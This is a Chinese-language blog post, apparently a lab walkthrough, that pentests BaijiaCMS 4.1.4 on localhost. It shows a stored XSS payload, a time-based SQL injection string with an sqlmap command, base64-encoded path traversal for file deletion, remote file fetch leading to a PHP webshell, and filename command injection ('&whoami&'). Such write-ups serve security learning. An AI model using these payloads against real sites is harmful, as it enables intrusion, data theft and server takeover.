• PHP代码审计--百家CMS4.1.4项目实战(上)


    PHP代码审计--百家CMS4.1.4项目实战(上)

    前提:

    最近工作有点闲,就想着开始拓展技能了,学一下代码审计,入门就从php开始吧。这个百家CMS项目,我分为两部分测试,一、是渗透测试纯黑盒测试 二、代码审计

    一、项目介绍

    百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。完善的商城购物系统,全方位商品展现+便捷的购买流程,完善的订单管理商品库存管理以及发货操作功能。

    二、项目部署

    2.1 工具及源码介绍

    百家CMS4.1.4源代码下载: https://gitee.com/openbaijia/baijiacms.git

    我是用phpstudy 2016搭建的环境,直接把项目放在www文件夹下面就可以了。

    百家cms(baijiacms-master)是V4.1.4版本的

    Phpstorm版本是2021.1.3

    2.2环境的安装搭建

    首先,看一下cms的README.md介绍文件,这是一套baijiaCMS的电商系统,我们需要在READM.md介绍文件中,查看一下搭建环境的所需配置版本,如果使用的版本和需求的不一样,可能会导致无法正常安装或者产生报错。

    Ps:在代码审计时`README.md`文件是新手审计前必须要关注的一个文件,因为在这个文件中会写到安装时PHP版本要求以及代码结构中每个目录代表什么功能,这对接下来的审计是很有作用的。

    首先我们把这里的过滤代码屏蔽一下,为了后面我们可以顺利测试sql注入,xss注入。

    代码的位置:includes/baijiacms.php

    直接进入http://127.0.0.1:8081/baijiacms-master

    开始百家cms的安装,点击同意,下一步

    下一步

    这一步需要根据自己需求填写管理员信息,数据库信息按照自己的要求来填写,一般本地地址是127.0.0.1,账号密码则为目标数据库的账号密码。

    进入登录页面url:http://127.0.0.1:8081/baijiacms-master/index.php

    三、渗透测试

    3.1、存储型XSS

    使用安装时使用的管理员账号密码登录系统。

    点击店铺管理—》添加店铺

    在店铺名称的位置输入测试XSS payload:<script>alert(11);</script>

    点击提交

    再次查看店铺管理,发现弹出xss

    3.2、SQL注入

    在店铺管理---》店铺名称搜索框内搜索,使用burp抓包

    正常的查询情况为

    添加了测试payload:1234' and sleep(5) #

    情况为下图,返回时间明显边长

    直接使用sqlmap跑一下:python3 sqlmap.py -r 123.txt

    发现是一种时间盲注

    3.3、任意文件删除漏洞

    进入备份与还原模块,点击备份商城数据

    然后进入数据还原模块

    点击删除 数据备份,使用burp抓包

    发现url中的id参数为删除的数据库备份文件名称,既然这是文件,就试试能不能删除其他文件。

    在WWW目录下创建一个abc目录(目录,重要的事情说两遍),然后将../../../abc 路径base64加密为Li4vLi4vLi4vYWJj  ,然后使用burp发包删除。

    3.4、任意文件写入+getshell

    首先需要创建一个店铺管理员账号,

    在后台管理商城中有很多设置模块可以提取网络图片,

    使用店铺管理员登录,进入商城设置—》会员订单入口—》选择图片

    选择提权网络图片,随便输入然后,使用burp抓包

    然后再开启一个简单的web服务,然后把请求包中的参数修改为我们开启的web服务的文件连接。

    我是在window中开启,直接创建一个test文件夹,在文件夹中创建一个测试文件,然后在此目录下开启web服务。

    命令:python -m SimpleHTTPServer 9001

    修改请求包中的参数为我们开启的web服务上的文件。

    url=http://127.0.0.1:9001/test.php

    访问一下文件

    再上传一个php一句木马上传,蚁剑连接试试,成功连接getshell

    3.4、命令执行

    这个命令执行在黑盒测试中很难测试出来,为什么这么说,并不是由于我们无法想到上传点处拼接命令这种测试方法,而是该处需要另外设置一处功能点后上传文件才可才可触发命令执行。

    首先登录系统管理员账号进入“附件设置模块”进行开启配置。

    然后登陆店铺管理员账号

    进入第三方接入—》微信号设置模块,选择.txt文件进行上传

    在filename处使用&拼接命令,造成命令执行。

    参数:filename="&whoami&.txt"

    参数:filename="&dir&.txt"

    参考链接:

    PHP代码审计之百家CMS4.1.4版本实战(下)之代码审计中的SQL注入&RCE&任意文件写入&任意文件删除等

    https://xz.aliyun.com/t/10678

    https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247484280&idx=1&sn=9867290b6640418534318049899281be&chksm=ce8d46f3f9facfe57afb58b2c7ea286a25ee1dc7e8e225907035c28f72f365c084c8bab04781&scene=21#wechat_redirect

    声明:

    本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

    作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。

  • 相关阅读:
    JVM快速入门
    Redis 布隆过滤器的原理和实践
    LeetCode 热题 C++ 53. 最大子数组和 55. 跳跃游戏
    程序员考试下午题知识点总结
    Cesium 问题:加载 geojson 数据量大浏览器会崩,使用primitive方式加载
    Go语言基础之包
    python库-dotenv包 | .env配置文件
    Flutter中的异步和多进程
    Bean 作用域和生命周期
    AODNet复现: 用gpu批量处理图片
  • 原文地址:https://blog.csdn.net/HEAVEN569/article/details/125440213